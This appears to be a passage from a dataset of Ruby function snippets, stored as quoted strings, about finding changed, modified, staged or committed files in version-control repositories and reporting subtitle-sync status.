node['delivery']['workspace']['repo']\n ).stdout.strip\n\n changed_files = []\n response.each_line do |line|\n changed_files << line.strip\n end\n changed_files\n end", "def modified_files(options)\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --name-only -z --diff-filter=ACM --ignore-submodules=all #{flags} #{refs}`.\n split(\"\\0\").\n map(&:strip).\n reject(&:empty?).\n map { |relative_file| File.expand_path(relative_file) }\n end", "def didModify(files_array)\n\tdid_modify_files = false\n\tfiles_array.each do |file_name|\n\t\tif git.modified_files.include?(file_name) || git.deleted_files.include?(file_name)\n\t\t\tdid_modify_files = true\n\t\tend\n\tend\n\treturn did_modify_files\nend", "def changed_files(parent_sha, change_sha, node)\n response = shell_out!(\n \"git diff --name-only #{parent_sha} #{change_sha}\",\n cwd: repo_path(node)\n ).stdout.strip\n\n changed_files = []\n response.each_line do |line|\n changed_files << line.strip\n end\n changed_files\n end", "def files_changed_in_patch(patchfile, tap)\n files = []\n formulae = []\n others = []\n File.foreach(patchfile) do |line|\n files << Regexp.last_match(1) if line =~ %r{^\\+\\+\\+ b/(.*)}\n end\n files.each do |file|\n if tap&.formula_file?(file)\n formula_name = File.basename(file, \".rb\")\n formulae << formula_name unless formulae.include?(formula_name)\n else\n others << file\n end\n end\n { files: files, formulae: formulae, others: others }\n end", "def files_changed_in_patch(patchfile, tap)\n files = []\n formulae = []\n others = []\n File.foreach(patchfile) do |line|\n files << Regexp.last_match(1) if line =~ %r{^\\+\\+\\+ b/(.*)}\n end\n files.each do |file|\n if tap&.formula_file?(file)\n formula_name = File.basename(file, \".rb\")\n formulae << formula_name unless formulae.include?(formula_name)\n else\n others << file\n end\n end\n { files: files, formulae: formulae, others: others }\n end", "def modified_files\n diff = git.diff(local_branch, remote_branch(local_branch))\n diff.stats[:files].keys\n end", "def staged\n @files.select { |k, f| f.sha_index != \"0000000000000000000000000000000000000000\" && f.type != nil }\n end", "def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end", "def committed_files sha\n array_output_of \"git diff-tree --no-commit-id --name-only -r #{sha}\"\nend", "def previously_changed_files\n `git show --pretty=\"format:\" --name-only`.split(\"\\n\")\n end", "def git_modified_files_info()\n modified_files_info = Hash.new\n updated_files = (git.modified_files - git.deleted_files) + git.added_files\n updated_files.each {|file|\n modified_lines = git_modified_lines(file)\n modified_files_info[File.expand_path(file)] = modified_lines\n }\n modified_files_info\n end", "def altered_files; `git show --name-only #{node} 2> /dev/null`.split(\"\\n\"); end", "def target_files\n @target_files ||= (git.modified_files - git.deleted_files) + git.added_files\n end", "def report_files_that_dont_have_st_sync_active(options)\n inactive_files = []\n active_files = []\n total_file_count = 0\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :at_extension\n ),\n options['file_filter'],\n nil,\n \"Reading content AT files\",\n options\n ) do |content_at_file|\n data_json_file = content_at_file.corresponding_data_json_file\n total_file_count += 1\n lang_and_date_code = [\n content_at_file.language_code_3_chars,\n content_at_file.extract_date_code\n ].join\n if data_json_file.contents.index('\"st_sync_active\":false')\n inactive_files << lang_and_date_code\n $stderr.puts \" - doesn't have st_sync_active\".color(:blue)\n else\n active_files << lang_and_date_code\n end\n end\n inactive_files_count = inactive_files.length\n active_files_count = active_files.length\n if inactive_files_count > 0\n $stderr.puts \"\\n\\n#{ inactive_files_count } files that DON'T HAVE st_sync_active:\"\n $stderr.puts '-' * 80\n inactive_files.each { |e| $stderr.puts e }\n $stderr.puts\n end\n if active_files_count > 0\n $stderr.puts \"\\n\\n#{ active_files_count } files that HAVE st_sync_active:\"\n $stderr.puts '-' * 80\n active_files.each { |e| $stderr.puts e }\n $stderr.puts\n end\n summary_line = \"Found #{ inactive_files_count } of #{ total_file_count } files that don't have st_sync_active at #{ Time.now.to_s }.\"\n $stderr.puts summary_line\n end", "def modified_files\n file_stats.count { |file| file.status == :modified }\n end", "def git_modified_files_info\n modified_files_info = {}\n updated_files = (git.modified_files - git.deleted_files) + git.added_files\n updated_files.each do |file|\n modified_lines = git_modified_lines(file)\n modified_files_info[file] = modified_lines\n end\n modified_files_info\n end", "def changed_files\n @files.each do |file, stat|\n if new_stat = safe_stat(file)\n if new_stat.mtime > stat.mtime\n @files[file] = new_stat\n yield(file)\n end\n end\n end\n end", "def finalize_sync_operation\n puts \" - Transferred the following #{ @st_ops_cache_file.keys.count } st_ops versions to foreign repos:\"\n @st_ops_cache_file.keys.each { |from_git_commit, to_git_commit|\n puts \" - #{ from_git_commit } to #{ to_git_commit }\"\n }\n if @successful_files_with_st_ops.any?\n puts \" - The following #{ @successful_files_with_st_ops.count } files with st operations were synced successfully:\".color(:green)\n @successful_files_with_st_ops.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files with st operations were synced successfully\".color(:red)\n end\n if @successful_files_with_autosplit.any?\n puts \" - The following #{ @successful_files_with_autosplit.count } files with autosplit were synced successfully:\".color(:green)\n @successful_files_with_autosplit.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files with autosplit were synced successfully\".color(:red)\n end\n if @successful_files_without_st_ops.any?\n puts \" - The following #{ @successful_files_without_st_ops.count } files without st operations were synced successfully:\".color(:green)\n @successful_files_without_st_ops.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files without st operations were synced successfully\".color(:red)\n end\n if @unprocessable_files.any?\n puts \" - The following #{ @unprocessable_files.count } files could not be synced:\".color(:red)\n @unprocessable_files.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - All file syncs were successful!\".color(:green)\n end\n if @files_with_autosplit_exceptions.any?\n puts \" - The following #{ @files_with_autosplit_exceptions.count } files raised an exception during autosplit:\".color(:red)\n @files_with_autosplit_exceptions.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - No files raised exceptions during autosplit\".color(:green)\n end\n if @files_with_subtitle_count_mismatch.any?\n puts \" - The following #{ @files_with_subtitle_count_mismatch.count } files were synced, however their subtitle counts don't match:\".color(:red)\n @files_with_subtitle_count_mismatch.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - All synced files have matching subtitle counts.\".color(:green)\n end\n true\n end", "def changeset\n @changeset ||= git_diff.map do |diff_file|\n file_diff = FileDiff.new(diff_file)\n file_diff unless FormattingChecker.pure_formatting?(file_diff)\n end.compact\n end", "def getFilesFromDiff(diff)\n files = []\n diff.lines.map(&:chomp).each do |line|\n if line.start_with? '+++ b/'\n line[\"+++ b/\"] = \"\"\n # try to remove anything after a tab character\n # this is needed by --check 0\n begin\n line[/\\t.*$/] = \"\"\n # IndexError is raised if no tab characters are found\n rescue IndexError\n end\n files << line\n end\n end\n return files\n end", "def modified_files; end", "def transfer_applicable_st_ops_to_foreign_file!(foreign_content_at_file, applicable_st_ops_for_file)\n if applicable_st_ops_for_file.any?\n # An st_ops_for_file exists. That means the file is being synced.\n # NOTE: Not sure why we're passing applicable_st_ops_for_file\n # as an array as there should really be only one.\n\n # Iterate over st_ops and incrementally update both content and data\n found_st_ops = false\n applicable_st_ops_for_file.each do |st_ops_for_file|\n # Detect if there are st_ops for file, or if it's time slice\n # changes only.\n found_st_ops ||= st_ops_for_file.operations.any?\n transfer_st_ops_to_foreign_file!(\n foreign_content_at_file,\n st_ops_for_file\n )\n # We have to reload the file contents as they were changed on\n # disk by #transfer_st_ops_to_foreign_file!\n foreign_content_at_file.reload_contents!\n end\n # We need to manually write the @to_git_commit to st_sync_commit.\n # We can't rely on transfer_st_ops_to_foreign_file! alone since\n # it will only write sync commits that actually contained st_ops\n # for the current file. However we want to record on the file\n # that it has been synced to the current primary st_sync_commit.\n update_foreign_file_level_data(\n foreign_content_at_file,\n @to_git_commit,\n {} # Don't touch sts that require review\n )\n if found_st_ops\n # Actual st ops\n print \" - Synced\".color(:green)\n else\n # Time slice changes only\n print \" - Synced (Time slice changes only)\".color(:green)\n end\n else\n # No applicable st ops, just update file level st_sync data\n update_foreign_file_level_data(\n foreign_content_at_file,\n @to_git_commit,\n {} # Don't touch sts that require review\n )\n print \" - No applicable st_ops\"\n end\n true\n end", "def changed_files_since_deploy\n if File.exists?(\"log/latest-REVISION-syntaxcheck\")\n revision = File.read(\"log/latest-REVISION-syntaxcheck\").chomp\n\n `git whatchanged #{revision}..HEAD`.split(\"\\n\").select{|l| l =~ /^\\:/}.collect {|l| l.split(\"\\t\")[1]}.sort.uniq\n else\n puts \"log/latest-REVISION-syntaxcheck not found. run 'cap fetch_currently_deployed_version' to get it\"\n []\n end\n end", "def show_changed_files(status)\n status.each_line do |line|\n if line =~ /^#\\t/ # only print out the changed files (I think)\n if line =~ /new file:|modified:|deleted:/\n puts \" #{line}\" \n else\n puts \" #{line.chop}\\t\\t(may need to be 'git add'ed)\" \n end\n end\n end\nend", "def diff_files(commit)\n cache_key = [\n GITALY_TIMEOUT_CACHE_KEY,\n commit.project.id,\n commit.cache_key\n ].join(':')\n\n return [] if Rails.cache.read(cache_key).present?\n\n begin\n commit.diffs.diff_files\n rescue GRPC::DeadlineExceeded => error\n # Gitaly fails to load diffs consistently for some commits. The other information\n # is still valuable for Jira. So we skip the loading and respond with a 200 excluding diffs\n # Remove this when https://gitlab.com/gitlab-org/gitaly/-/issues/3741 is fixed.\n Rails.cache.write(cache_key, 1, expires_in: GITALY_TIMEOUT_CACHE_EXPIRY)\n Gitlab::ErrorTracking.track_exception(error)\n []\n end\n end", "def check_changed_files(git)\n git.status.select {|file| file.type || file.untracked }\n end", "def files; changeset.all_files; end", "def didModify(files_array)\n\tdid_modify_files = false\n\tfiles_array.each do |file_name|\n\t\tif git.modified_files.include?(file_name) || git.deleted_files.include?(file_name)\n\t\t\tdid_modify_files = true\n\n\t\t\tconfig_files = git.modified_files.select { |path| path.include? file_name }\n\n\t\t\tmessage \"This PR changes #{ github.html_link(config_files) }\"\n\t\tend\n\tend\n\n\treturn did_modify_files\nend", "def updated_lines\n io = @diff.each_line\n path = nil\n\n found = []\n\n while true\n line = io.next\n if line =~ FILE_PATTERN\n path = $1\n end\n\n if hunk_header?(line)\n line_numbers = line_numbers_for_destination(line)\n found << [ path, line_numbers ]\n end\n end\n rescue StopIteration\n return found\n end", "def process_all_primary_files\n # NOTE: I investigated concurrent processing of files\n # to speed up this process, however I didn't pursue it\n # further: This process is highly CPU intensive, so the\n # only way to get a significant speedup is to use\n # multiple CPUs/Cores. In MRI this is only possible\n # with multiple processes. I didn't want to go through\n # the trouble of IPC to collect all files' operations.\n # It would be easier if we could use threads, however\n # that would require jruby or rbx. So I'm sticking with\n # sequential processing for now.\n Dir.glob(\n File.join(@repository.base_dir, '**/content/**/*.at')\n ).map { |absolute_file_path|\n next nil if !@file_list.any? { |e| absolute_file_path.index(e) }\n # Skip non content_at files\n unless absolute_file_path =~ /\\/content\\/.+\\d{4}\\.at\\z/\n raise \"shouldn't get here\"\n end\n\n # Note: @any_content_type may be the wrong one, however finding\n # corresponding STM CSV file will still work as it doesn't rely\n # on config but das regex replacements on file path only.\n content_at_file_to = Repositext::RFile::ContentAt.new(\n File.read(absolute_file_path),\n @language,\n absolute_file_path,\n @any_content_type\n )\n\n @logger.info(\" - process #{ content_at_file_to.repo_relative_path(true) }\")\n\n soff = SubtitleOperationsForFile.new(\n content_at_file_to,\n @repository.base_dir,\n {\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n prev_last_operation_id: @prev_last_operation_id,\n execution_context: @execution_context,\n }\n ).compute\n\n if soff.operations.any?\n @prev_last_operation_id = soff.last_operation_id\n soff\n else\n # Return nil if no subtitle operations exist for this file\n nil\n end\n }.compact\n end", "def changed_lines(changed_file)\n diff = git.diff_for_file(changed_file)\n return [] unless diff\n\n diff.patch.split(\"\\n\").select { |line| %r{^[+-]}.match?(line) }\n end", "def analyse_modified_files\n modified_files = ::RubyCritic::Config\n .feature_branch_collection\n .where(::RubyCritic::SourceControlSystem::Git.modified_files)\n ::RubyCritic::AnalysedModulesCollection.new(modified_files.map(&:path),\n modified_files)\n ::RubyCritic::Config.root = \"#{::RubyCritic::Config.root}/compare\"\n end", "def find_invalid_primary_st_ops_filenames\n # TODO: Validate that st-ops-files in primary repo have no\n # duplicate time stamps, and that from and to commits form a\n # contiguos, linear sequence.\n true\n end", "def diff_types\n\t\t\tavailable = []\n\n\t\t\tif @parent.file_1.contains_found? and @parent.file_2.contains_found? then\n\t\t\t\tavailable.push :direct\n\t\t\tend\n\n\n\t\t\tif available.empty? then\n\t\t\t\tavailable.push :notAvailable\n\t\t\tend\n\t\t\treturn available\n\t\tend", "def altered_files\n parse!\n @altered_files\n end", "def all_modified_files_coverage\n unless @project.nil?\n @all_modified_files_coverage ||= begin\n modified_files = git.modified_files.nil? ? [] : git.modified_files\n added_files = git.added_files.nil? ? [] : git.added_files\n all_changed_files = modified_files | added_files\n @project.coverage_files.select do |file|\n all_changed_files.include? file.source_file_pathname_relative_to_repo_root.to_s\n end\n end\n\n @all_modified_files_coverage\n end\n end", "def diff_files_from(commit)\n git_args = ['diff', '--stat', '--name-only', commit]\n result = default_repository.git_output(git_args).lines.map { |line| line.strip }.sort\n # not sure if git would ever mention directories in a diff, but ignore them.\n result.delete_if { |item| ::File.directory?(item) }\n return result\n end", "def changed_files\n until @changed.empty?\n descriptor = @changed.shift\n file = @watcher.watch_descriptors.delete(descriptor)\n watch(file)\n yield(file)\n end\n end", "def get_uncommitted_files\n\t\t\tlist = read_command_output( 'hg', 'status', '-n', '--color', 'never' )\n\t\t\tlist = list.split( /\\n/ )\n\n\t\t\ttrace \"Changed files: %p\" % [ list ]\n\t\t\treturn list\n\t\tend", "def target_files\n @target_files ||= git.modified_files + git.added_files\n end", "def altered_files\n raise NotImplementedError.new(\"altered_files() must be implemented by subclasses of AbstractChangeset.\")\n end", "def target_files(changed_files)\n changed_files.select do |file|\n file.end_with?(\".kt\")\n end\n end", "def working_files\n files.map {|f| working_file f}\n end", "def get_files_in_commit(commit)\n\tfiles = {}\n\tcommit.diffs.each do | diff |\n\t\tfiles[diff.a_path] = nil unless files.has_key? diff.a_path\n\t\tfiles[diff.b_path] = nil unless files.has_key? diff.b_path\n\t\t# what about diff.deleted_file and diff.new_file?\n\tend\n\treturn files.keys\nend", "def synced_by_type(file_type)\n where(sync_status: true, file_type: file_type).to_a\n end", "def svn_status(current_dir)\n modified_files = []\n `svn status #{current_dir}`.split(/\\n/).map do |file|\n file =~ /(\\?|\\!|\\~|\\*|\\+|A|C|D|I|M|S|X)\\s*([\\w\\W]*)/\n\n if file =~ /^M/\n modified_files << file.split[-1]\n elsif file =~ /^C/\n raise \"ERROR: file found in conflict: #{file.split[-1]}\"\n end\n end\n return modified_files\nend", "def get_file_action(fni2)\n fni = fni2.dup\n array = [] \n \n while true \n int_action = fni[4,4].unpack('L')[0]\n \n str_action = 'unknown'\n \n case int_action\n when FILE_ACTION_ADDED\n str_action = 'added'\n when FILE_ACTION_REMOVED\n str_action = 'removed'\n when FILE_ACTION_MODIFIED\n str_action = 'modified'\n when FILE_ACTION_RENAMED_OLD_NAME\n str_action = 'renamed old name'\n when FILE_ACTION_RENAMED_NEW_NAME\n str_action = 'renamed new name'\n end\n \n len = fni[8,4].unpack('L').first # FileNameLength struct member\n file = fni[12,len] + \"\\0\\0\" # FileName struct member + null\n buf = 0.chr * 260\n \n WideCharToMultiByte(CP_ACP, 0, file, -1, buf, 260, 0, 0)\n \n file = File.join(@path, buf.unpack('A*')[0])\n \n struct = ChangeNotifyStruct.new(str_action, file)\n array.push(struct)\n break if fni[0,4].unpack('L')[0] == 0\n fni = fni[fni[0,4].unpack('L').first .. -1] # Next offset\n break if fni.nil?\n end\n \n array\n end", "def all_file_commits_data(path)\n time = ` cd /tmp/#{@repo} && git log --format=%ct #{path} `.split(\"\\n\").map{|time| time.to_i}\n ins_del = ` cd /tmp/#{@repo} && git log --numstat --format=%h #{path} | grep #{path} `.split(\"\\n\").map{|line| line.split(\" \")[0..1]}.map{|insert| insert.map{|x| x.to_i}}\n time.zip(ins_del)\n end", "def files_changed?\n # initialise variables for the \n new_snapshot = snapshot_filesystem\n has_changed = false\n\n # take a new snapshot and subtract this from the old snapshot in order to get forward changes\n # then add the snapshot to the oposite subtraction to get backward changes\n changes = (@snapshot.to_a - new_snapshot.to_a) + (new_snapshot.to_a - @snapshot.to_a)\n \n # determine the event for each change\n changes.each do |change|\n if @snapshot.keys.include? change[0]\n @changed = {change[0] => change[1]}\n @event = (new_snapshot.keys.include? change[0]) ? :change : :delete\n has_changed = true\n else\n @changed = {change[0] => change[1]}\n @event = :new\n has_changed = true\n end\n end\n \n # lets reset the snapshot so that we don't create a forever loop\n @snapshot = new_snapshot\n\n return has_changed\n end", "def all_changes_in_revisions array\n raise NotImplementedError.new('Define method :all_changes_in_revisions on your source control.')\n end", "def resync_input_files #:nodoc:\n params = self.params || {}\n file_args = params[:file_args] || {}\n\n cb_error(\"This CIVET task use the old multi-CIVET structure and cannot be restarted.\") if file_args.size != 1\n\n collection_id = params[:collection_id]\n if collection_id.present? # MODE A: collection\n addlog(\"Resyncing input FileCollection ##{collection_id}.\")\n collection = FileCollection.find(collection_id)\n collection.sync_to_cache\n else # MODE B: individual files\n file0 = file_args[\"0\"].presence || cb_error(\"Params structure error!\")\n t1_id = file0[:t1_id] # cannot be nil\n t2_id = file0[:t2_id] # can be nil\n pd_id = file0[:pd_id] # can be nil\n mk_id = file0[:mk_id] # can be nil\n\n addlog(\"Resyncing input T1 ##{t1_id}.\")\n SingleFile.find(t1_id).sync_to_cache\n\n if t2_id.present?\n addlog(\"Resyncing input T2 ##{t2_id}.\")\n SingleFile.find(t2_id).sync_to_cache\n end\n\n if pd_id.present?\n addlog(\"Resyncing input PD ##{pd_id}.\")\n SingleFile.find(pd_id).sync_to_cache\n end\n\n if mk_id.present?\n addlog(\"Resyncing input MASK ##{mk_id}.\")\n SingleFile.find(mk_id).sync_to_cache\n end\n end\n\n rescue ActiveRecord::RecordNotFound\n cberror \"Cannot find input file. Recovery impossible.\"\n end", "def changes\n if @changes\n @changes.dup\n else\n []\n end\n end", "def get_committed_files\n # set the current branch name to be the current branch you're on --> need to check that this works as part of push\n curr_branch_name = `git rev-parse --abbrev-ref HEAD`\n\n # raw_sha_list lists all the local, unpushed commit SHAs from your current branch\n raw_sha_list = `git log --graph --pretty=format:'%H' #{curr_branch_name}`\n\n committed_files = []\n # loop through the raw_sha_list and push properly formatted SHAs into the all_shas arr\n raw_sha_list.each_line { |sha|\n # using the .tr method on the sha makes a copy of the sha and replaces instances that matches with the to_str (second arg),\n # unless the range starts with a ^ carrot, in which case, it replaces on matches outside the range\n curr_sha = sha.tr('^A-Za-z0-9', '')\n\n # this `git diff-tree --no-commit-id --name-only -r <SHA>` will list the files of an individual commit when you add the SHA\n # on each iteration, set the changed_files variable to be the list of files from a particular commit, based its SHA\n changed_files = `git diff-tree --no-commit-id --name-only -r #{curr_sha}`\n\n # loop over the changed_files and add in each file that's part of a commit and add into the committed_files arr\n changed_files.each_line { |file|\n # remove any trailing whitespace from the file name and add into our arr\n committed_files << file.rstrip()\n }\n }\n # return the final, no-repeat array of committed files in this push\n return committed_files.uniq\nend", "def addUnchangedFilesToCommit(prev_commit, commit, changed_files) #:doc:\n# sql = \"select devfiles.path, devfiles.name, devfiles.blob_id from devfiles, blobs, blobs_in_commits where blobs.devfile_id=devfiles.id and blobs_in_commits.blob_id=blobs.id and blobs_in_commits.commit_id=#{prev_commit.id};\"\n# devfiles_of_prev_commit = ActiveRecord::Base.connection.execute(sql)\n#\n devfiles_of_prev_commit = Devfile.find_by_sql(\"select devfiles.path, devfiles.name, devfiles.blob_id from devfiles, blobs, blobs_in_commits where blobs.devfile_id=devfiles.id and blobs_in_commits.blob_id=blobs.id and blobs_in_commits.commit_id=#{prev_commit.id};\")\n if devfiles_of_prev_commit.size > 0\n ActiveRecord::Base.connection.execute(\"begin\")\n now = DateTime.now\n devfiles_of_prev_commit.each do |df|\n if not changed_files.has_key?(df.path + df.name)\n begin\n sql = \"insert into blobs_in_commits(blob_id, commit_id, created_at, updated_at) values('#{df['blob_id']}', '#{commit.id}', '#{now}', '#{now}');\"\n ActiveRecord::Base.connection.execute(sql)\n rescue\n # do nothing\n end\n end\n end\n ActiveRecord::Base.connection.execute(\"commit\")\n end\n end", "def report_files_that_have_st_sync_required(options)\n if !config.setting(:is_primary_repo)\n raise \"This command can only be used in the primary repo.\"\n end\n ftrss = []\n total_file_count = 0\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :json_extension\n ),\n /\\.data\\.json\\z/,\n nil,\n \"Reading data.json files\",\n options\n ) do |data_json_file|\n total_file_count += 1\n rrfn = data_json_file.repo_relative_path(true)\n if data_json_file.read_data['st_sync_required']\n ftrss << rrfn\n $stderr.puts \" - has st_sync_required\".color(:blue)\n end\n end\n if ftrss.any?\n $stderr.puts \"\\n\\n#{ ftrss.length } files that require st_sync:\"\n $stderr.puts '-' * 80\n ftrss.each { |e| $stderr.puts e }\n $stderr.puts\n end\n summary_line = \"Found #{ ftrss.length } of #{ total_file_count } files that require st_sync at #{ Time.now.to_s }.\"\n $stderr.puts summary_line\n end", "def scan_changed(&block) # :yields: file\n known_files.each do |known_file|\n new_mtime = mtime_for(known_file)\n if new_mtime != last_mtime[known_file]\n block.call(known_file)\n last_mtime[known_file]= new_mtime\n end\n end\n end", "def check_files\n updated = []\n files.each do |filename, mtime| \n begin\n current_mtime = File.stat(filename).mtime\n rescue Errno::ENOENT\n # file was not found and was probably deleted\n # remove the file from the file list \n files.delete(filename)\n next\n end\n if current_mtime != mtime \n updated << filename\n # update the mtime in file registry so we it's only send once\n files[filename] = current_mtime\n puts \"quick_serve: spotted change in #{filename}\"\n end\n end\n QuickServe::Rails::Snapshot.reset if updated != []\n false\n end", "def git_diff_next\n unstaged_git_files.each do |unstaged_file|\n if unstaged_file.untracked?\n `echo UNTRACKED FILE #{unstaged_file.filename} >&2`\n copy_to_clipboard(unstaged_file)\n break\n elsif unstaged_file.deleted?\n `echo DELETED FILE #{unstaged_file.filename} >&2`\n copy_to_clipboard(unstaged_file)\n break\n elsif !unstaged_file.has_unstaged_changes?\n next\n else\n copy_to_clipboard(unstaged_file)\n exec \"git diff #{unstaged_file.filename}\"\n end\n end\nend", "def file_info(path)\n if manifest_entry # have we loaded our manifest yet? if so, use that sucker\n result = [manifest_entry[path], manifest_entry.flags[path]]\n if result[0].nil?\n return [NULL_ID, '']\n else\n return result\n end\n end\n if manifest_delta || files[path] # check if it's in the delta... i dunno\n if manifest_delta[path]\n return [manifest_delta[path], manifest_delta.flags[path]]\n end\n end\n # Give us, just look it up the long way in the manifest. not fun. slow.\n node, flag = @repo.manifest.find(raw_changeset[0], path)\n if node.nil?\n return [NULL_ID, '']\n end\n return [node, flag]\n end", "def uncommitted_files\n `git status`.scan(/^#(\\t|\\s{7})(\\S.*)$/).map { |match| match.last.split.last }\n end", "def uncommitted_files\n `git status`.scan(/^#(\\t|\\s{7})(\\S.*)$/).map { |match| match.last.split.last }\n end", "def changes\n additions + deletions\n end", "def files_commits(num_commits)\n @repo = Grit::Repo.new(@directory)\n related_files = []\n commits_all(num_commits) do |commits|\n commits.each do |commit|\n paths = []\n begin\n commit.diffs.each do |diff|\n if diff.a_path != diff.b_path\n related_files += [[diff.a_path, diff.b_path]]\n end\n paths += [diff.a_path, diff.b_path]\n end\n rescue Grit::Git::GitTimeout\n puts \"Failed to diff for %s\" % commit.sha\n end\n paths.uniq!\n yield commit, paths, related_files\n end\n end\n end", "def functionals_changed(test_changed_files, t)\n changed_controllers = []\n changed_functional_tests = []\n changed_view_directories = Set.new\n test_changed_files.each do |file|\n controller_match = file.match(/app\\/controllers\\/(.*).rb/)\n if controller_match\n changed_controllers << controller_match[1]\n end\n\n view_match = file.match(/app\\/views\\/(.*)\\/.+\\.erb/)\n if view_match\n changed_view_directories << view_match[1]\n end\n\n functional_test_match = file.match(/test\\/functional\\/(.*).rb/)\n if functional_test_match\n changed_functional_tests << functional_test_match[1]\n end\n end\n\n test_files = FileList['test/functional/**/*_test.rb'].select{|file| changed_controllers.any?{|controller| file.match(/test\\/functional\\/#{controller}_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file| changed_view_directories.any?{|view_directory| file.match(/test\\/functional\\/#{view_directory}_controller_test.rb/) }} +\n FileList['test/functional/**/*_test.rb'].select{|file|\n (changed_functional_tests.any?{|functional_test| file.match(/test\\/functional\\/#{functional_test}.rb/) } ||\n test_changed_files.any?{|changed_file| file==changed_file })\n }\n\n test_files = test_files.uniq\n test_files = test_files.reject{ |f| Smokescreen.critical_tests.include?(f) }\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def get_changed_file_list\n command = \"git log -m -1 --name-only --pretty='format:' $(git rev-parse origin/master)\"\n file_paths = []\n features = {}\n features.compare_by_identity\n\n Open3.popen3(command) do |stdin, stdout, stderr|\n files = stdout.read.gsub! \"\\n\", \",\"\n file_paths = files.split(\",\")\n puts \"Found files:\\n#{file_paths}\"\n end\n\n puts \"Count files in push: #{file_paths.count}\"\n\n file_paths.each do |file_path|\n if file_path.include?(\".feature\")\n puts \"Added: #{file_path}\"\n folder = get_name_folder_from_path file_path\n features.store(folder, file_path)\n end\n end\n\n puts \"\\n\"\n puts \"Count feature files: #{features.count}\"\n features.sort\nend", "def diff_files(file_id1, file_id2)\n\t\t\tfile1 = get_file(file_id1)\n\t\t\tfile2 = get_file(file_id2)\n\t\t\tfile1 = file1.lines\n\t\t\tfile2 = file2.lines\n\n\t\t\treturn ((file1 - file2) + (file2-file1))\n\t\tend", "def changed_files_since(root, time, prunes = [ ])\n prunes = prunes.map { |p| File.expand_path(p) }\n \n root = File.expand_path(root)\n key = key_for(root, prunes)\n data = @roots[key]\n \n unless data && data[:up_to_date]\n new_mtimes = { }\n start_time = Time.now\n if @filesystem_impl.exist?(root)\n @filesystem_impl.find(root) do |path|\n if prunes.detect { |p| File.expand_path(path)[0..(p.length - 1)] == p }\n @filesystem_impl.prune\n else\n new_mtimes[path] = @filesystem_impl.mtime(path)\n end\n end\n end\n end_time = Time.now\n \n # Deleted files -- if we don't have a new mtime for it, it doesn't exist;\n # we then say it was modified now, the first time we noticed it was gone.\n if data\n data.keys.each { |path| new_mtimes[path] ||= start_time }\n end\n \n data = new_mtimes\n @roots[key] = data\n @roots[key][:up_to_date] = true\n end\n \n file_list = data.keys - [ :up_to_date ]\n if time\n time = Time.at(time.to_i)\n file_list = file_list.select { |path| data[path] >= time }\n end\n \n file_list\n end", "def units_changed(test_changed_files, t)\n changed_models = []\n test_changed_files.each do |file|\n matched = file.match(/app\\/models\\/(.*).rb/)\n if matched\n changed_models << matched[1]\n end\n end\n test_files = FileList['test/unit/*_test.rb'].select{|file| \n (changed_models.any?{|model| file.match(/test\\/unit\\/#{model}_test.rb/) } ||\n test_changed_files.any?{|changed_file| file==changed_file })\n }\n test_files = test_files.uniq\n\n t.libs << \"test\"\n t.verbose = true\n if !test_files.empty?\n t.test_files = test_files\n else\n t.test_files = []\n end\n end", "def stat_grep(changes,sign)\n changes_lines=changes.split(\"\\n\")\n changes_lines.collect{|line|\n split=line.split\n split[1] if split[0] == sign\n }.compact\n end", "def diff_output\n `\n git diff \\\n --diff-filter=AM \\\n --ignore-space-at-eol \\\n --no-color \\\n --cached \\\n -p \\\n -- '*.rb' '*.rake'\n `\n end", "def attachment_reference_id_changes\n attachment_reference_id_changes = Array.new(2, [])\n self.class.attachable_columns.each do |column|\n old_ids, curr_ids = send(\"#{column}#{ATTACHMENT_CHANGED_SUFFIX}\")\n attachment_reference_id_changes[0] += old_ids if old_ids\n attachment_reference_id_changes[1] += curr_ids if curr_ids\n end\n\n attachment_reference_id_changes\n end", "def 